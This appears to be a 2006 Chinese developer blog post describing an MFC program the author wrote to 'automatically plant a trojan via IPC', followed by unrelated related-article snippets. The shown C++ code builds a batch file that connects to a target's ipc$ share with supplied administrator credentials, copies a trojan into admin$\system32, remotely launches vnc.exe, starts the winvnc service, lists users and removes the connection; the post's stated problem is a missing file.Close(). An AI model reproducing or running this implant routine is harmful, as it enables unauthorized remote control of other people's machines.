由file.Close()引发ShellExecute 无法执行

原创 2006年06月01日 18:20:00

今天写了一个用IPC自动种植木马的程序

思路是将要执行的命令写入一个 bat 文件

然后用ShellExecute 执行bat文件

写bat 的文件代码如下:

void CIps4Dlg::OnOK()
{

//构建net use //ip/ipc$ "" /user:"administrator"
CString ip;
CString pass;
CString user;
CString muma;
GetDlgItemText(IDC_EDMUMA,muma);
GetDlgItemText(IDC_EDIP,ip);
GetDlgItemText(IDC_EDUSER,user);
GetDlgItemText(IDC_EDPASS,pass);
 CString se1="net use ////";
 se1+=ip;
 se1+="//ipc$";
 se1+=" /"";
 se1+=pass;
 se1+="/"";
 se1+=" /user:/"";
 se1+=user;
 se1+="/"";

//构建COPY 文件命令
CString se2="copy ";
se2+=muma;
se2+=" ////";
se2=se2+ip;
se2+="//admin$//system32";

//构建运行木马的命令
CString se3="ps ////";
se3=se3+ip;
se3+=" c://winnt//system32//vnc.exe -d";
//查看用户
CString se4="ps ////";
se4=se4+ip;
se4+=" net user";
//用SC开始VNC的服务
CString se5="sc ////";
se5=se5+ip;
se5+=" start winvnc";
//删除IPC连接
CString se6="net use////";
se6=se6+ip;
se6+=" /del";

/////////////////////////////////////////
//将运行命令写入BAT文件

CFile file("bat.bat",CFile::modeCreate|CFile::modeReadWrite);
file.Write(se1,60);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se2,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se3,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se4,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se5,55); 
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se6,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write("pause",7);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
}

写入成功后执行:

////////////////////////////////////////
//运行BAT文件
if(ShellExecute (NULL,"open","bat.bat",NULL,NULL,SW_SHOW)<(HANDLE)32)

MessageBox("Can't ShellExecute");

这是出现错误

开始以为是文件的打开放是有误

查了一下msdn

加了一句

CFile::shareExclusive  

以读写共享的方式打开文件

可惜失败了!

自己新建一个 bat文件用ShellExecute试一下

成功!这说明用ShellExecute可以调用执行批处理文件

而问题出在 file.write上

仔细观察代码 发现漏了一句!!

file.close();

加上试试成功调用!

写这么一个小程序就发现之么多问题

以后还得多写~~~~~~~~~~~

 

相关文章推荐

File 里面的flush()和close()

前天项目组遇到文件上传,对内存加大的问题。特意看了看相关知识,也对这个有一定的了解 try { FileInputStream fis=new FileInputStream(new Fi...

VC++ ShellExecute 执行、运行一个外部程序函数功能详解:

ShellExecute 函数功能:     ShellExecute 的功能是运行一个外部程序(或者是打开一个已注册的文件、打开一个目录、打印一个文件等等),并对外部程序有一定的控制。 函数简...

有三个API函数可以运行可执行文件WinExec、ShellExecute和CreateProcess。

1.CreateProcess因为使用复杂,比较少用。2.WinExec主要运行EXE文件。如:WinExec('Notepad.exe Readme.txt', SW_SHOW);3.ShellEx...

三个API函数可以运行可执行文件WinExec、ShellExecute和CreateProcess。CreateProcess

有三个API函数可以运行可执行文件WinExec、ShellExecute和CreateProcess。CreateProcess因为使用复杂,比较少用。     WinExec主要运行EXE文...

ShellExecute执行regsvr32.exe注册com控件到系统目录下

思路:把exe中dll资源导出到系统目录文件夹下     一般32位系统放到system32下,64位系统将32位的放到sysWOW64下,64位控件放到system32下。 //Registry...

使用 ShellExecute 打开文件或执行程序

使用 ShellExecute 打开文件或执行程序可以使用 ShellExecute 打开文件或执行程序。原型:HINSTANCE ShellExecute( _In_opt_ HWND h...

MFC接收外部程序执行的shellexecute中传递的参数来执行不同操作

大家都知道,我们可以通过shellexecute函数来执行别人的程序,但如果别人的程序通过shellexecute来执行我们自己的程序,而且通过传递过来的参数来执行不现效果呢? 首先,来看看Shell...

一个由session.close()引发的血案

一个由session.close()引发的血案
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:由file.Close()引发ShellExecute 无法执行
举报原因:
原因补充:

(最多只允许输入30个字)